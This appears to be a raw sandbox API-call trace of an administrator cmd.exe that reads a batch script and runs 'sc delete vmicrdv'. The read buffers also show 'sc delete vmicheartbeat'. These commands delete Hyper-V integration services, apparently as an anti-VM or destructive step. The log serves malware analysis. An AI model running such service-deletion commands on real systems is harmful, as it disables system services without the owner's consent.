ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete vmicheartbeat\nface\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.017] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete vmicheartbeat\nface\n") returned 1 [0068.017] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.017] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.017] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete vmicheartbeat\nface\n") returned 1 [0068.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.018] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete vmicheartbeat\nface\n") returned 1 [0068.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.018] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete vmicheartbeat\nface\n") returned 1 [0068.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.018] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete vmicheartbeat\nface\n") returned 1 [0068.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.018] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.018] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete vmicheartbeat\nface\n") returned 1 [0068.018] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.018] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.018] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te vmicheartbeat\nface\n") returned 1 [0068.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e vmicheartbeat\nface\n") returned 1 [0068.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" vmicheartbeat\nface\n") returned 1 [0068.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="vmicheartbeat\nface\n") returned 1 [0068.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="micheartbeat\nface\n") returned 1 [0068.019] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.019] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.019] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.019] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="icheartbeat\nface\n") returned 1 [0068.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="cheartbeat\nface\n") returned 1 [0068.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="reartbeat\nface\n") returned 1 [0068.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="dartbeat\nface\n") returned 1 [0068.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="vrtbeat\nface\n") returned 1 [0068.020] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.020] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.020] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0068.020] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="\ntbeat\nface\n") returned 1 [0068.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.021] GetFileType (hFile=0xb8) returned 0x3 [0068.021] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.021] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.021] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.021] GetFileType (hFile=0x120) returned 0x3 [0068.021] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.021] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmicrdv\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmicrdv\n", lpUsedDefaultChar=0x0) returned 19 [0068.021] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x12, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x12, lpOverlapped=0x0) returned 1 [0068.021] GetProcessHeap () returned 0x4a0000 [0068.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4bfb10 [0068.021] GetProcessHeap () returned 0x4a0000 [0068.021] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bfb10 | out: hHeap=0x4a0000) returned 1 [0068.021] GetProcessHeap () returned 0x4a0000 [0068.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4b97e0 [0068.021] GetProcessHeap () returned 0x4a0000 [0068.021] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b8900 [0068.022] GetProcessHeap () returned 0x4a0000 [0068.022] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6510 [0068.022] GetConsoleOutputCP () returned 0x1b5 [0068.022] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0068.022] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.022] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x36) returned 0x4b6550 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0068.023] SetErrorMode (uMode=0x0) returned 0x1 [0068.023] SetErrorMode (uMode=0x1) returned 0x0 [0068.023] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0068.023] SetErrorMode (uMode=0x1) returned 0x1 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0068.023] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.023] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b9db0 [0068.023] GetProcessHeap () returned 0x4a0000 [0068.023] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0068.024] GetProcessHeap () returned 0x4a0000 [0068.024] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0068.024] GetProcessHeap () returned 0x4a0000 [0068.024] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0068.024] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.024] GetProcessHeap () returned 0x4a0000 [0068.024] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0068.024] GetProcessHeap () returned 0x4a0000 [0068.024] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0068.024] GetProcessHeap () returned 0x4a0000 [0068.024] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0068.024] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.024] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.024] GetLastError () returned 0x2 [0068.024] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.025] GetLastError () returned 0x2 [0068.025] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.025] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0068.025] GetLastError () returned 0x2 [0068.025] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0068.026] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0068.026] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0068.026] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0068.026] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.026] GetProcessHeap () returned 0x4a0000 [0068.026] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4bc630 [0068.026] GetConsoleTitleW (in: lpConsoleTitle=0x4bc640, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.026] GetProcessHeap () returned 0x4a0000 [0068.026] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc630, Size=0x9c) returned 0x4bc630 [0068.026] GetProcessHeap () returned 0x4a0000 [0068.026] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc630) returned 0x9c [0068.026] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete vmicrdv") returned 1 [0068.027] GetProcessHeap () returned 0x4a0000 [0068.027] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc630 | out: hHeap=0x4a0000) returned 1 [0068.027] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0068.027] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0068.027] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.027] GetProcessHeap () returned 0x4a0000 [0068.027] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0068.027] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0068.028] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.029] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0068.029] GetProcessHeap () returned 0x4a0000 [0068.029] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0068.029] GetProcessHeap () returned 0x4a0000 [0068.029] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b98a0 [0068.029] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete vmicrdv", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete vmicrdv", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete vmicrdv", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x518, dwThreadId=0x734)) returned 1 [0068.033] CloseHandle (hObject=0x50) returned 1 [0068.033] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.033] GetProcessHeap () returned 0x4a0000 [0068.033] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 